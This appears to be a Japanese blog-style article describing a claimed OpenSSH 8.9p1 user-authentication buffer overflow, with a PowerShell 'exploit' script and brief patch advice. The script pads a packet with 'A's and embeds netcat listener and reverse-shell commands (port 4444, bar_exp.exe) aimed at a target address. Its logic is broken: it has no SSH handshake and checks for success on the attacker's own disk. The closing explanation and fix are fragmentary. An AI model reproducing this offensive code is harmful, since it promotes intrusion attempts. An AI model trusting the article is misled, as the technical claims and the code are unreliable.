
CVE-2025-27480は、不正なSSH_USERAUTHパケットを介してOpenSSH 8.9p1のバッファオーバーフローを引き起こします。攻撃者はシェルコードを注入してSYSTEMレベルのアクセスを取得し、踏み台ホストや後続のCI/CDエージェントを侵害する可能性があります。この記事には、サンプルのエクスプロイトコードとパッチ適用のガイダンスが含まれています。
OpenSSH バージョン 8.9p1 には、SSH_USERAUTH パケットを解析する際に発生する、微妙なバッファオーバーフローのバグがあります。クライアントは 非常に 長い「user」フィールドを含むパケットを送信でき、そのデータはメモリ内の誤った場所に格納されます。その結果、攻撃者は任意のシェルコードを注入でき、そのバージョンの OpenSSH を実行している任意のホスト上で SYSTEM 権限で実行されます。では、なぜデジャヴを感じるのでしょうか? それは、CVE‑2024‑13401 という非常に似た脆弱性が原因です。この脆弱性により user フィールドの境界チェックが欠如し、攻撃者は SSH プロセスに任意のコードを書き込むことができました。
この欠陥が重要なのは、SSH がクラウド環境で仮想マシンをブートストラップして管理する最も一般的な方法だからです。攻撃者が SSH を介してコードを実行できる場合、バックドアをインストールしたり、bastion ホストを侵害したりする可能性があります。bastion ホストは、プライベートネットワーク内の他のインスタンスに到達するために使用するジャンプポイントです。bastion ホストが侵害されると、それに依存するすべての下流ワークロード(例:イメージをビルドしたりテストを実行したりする CI/CD エージェント)が危険にさらされます。
CI/CD は Continuous Integration/Continuous Delivery の略です。この文脈では、bastion ホストは、すべてのビルドエージェントがプライベートネットワーク内の他のマシンに到達するために使用する、SSH 対応の「ジャンプ」サーバーです。これは重要なエントリポイントです。bastion が侵害されると、それに依存するすべての下流ジョブが攻撃される可能性があります。
以下は、悪意のあるパケットを作成して送信する方法を示す簡単な PowerShell スクリプトです。
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
なぜこれが機能するのか
ssh-userauth-attack)は、パケットがユーザー認証要求であることを OpenSSH に伝えます。user フィールドの意図された境界を意図的に超えてデータを押し出します。nc.exe を起動し、ポート 4444 で netcat リスナーを開き、その出力を C:\Windows\Temp\revshell.txt に書き込みます。また、攻撃者が用意した実行可能ファイル(bar_exp.exe)を呼び出して、さらなる作業(例:リバースシェルの投入)を行うことができます。エクスプロイトによって作成されたファイルは、パケットがメモリ内の正しい場所に到達した証拠です。そこからポート 4444 を開き、リスナーを取得して、任意のスクリプトを実行できます。
‑DUSERAUTH_BUF=4096 フラグを使用してリビルドし、バッファサイズをオーバーフローペイロードより大きくします。ssh_userauth_patch.diff)をリポジトリの隣にコミットできます。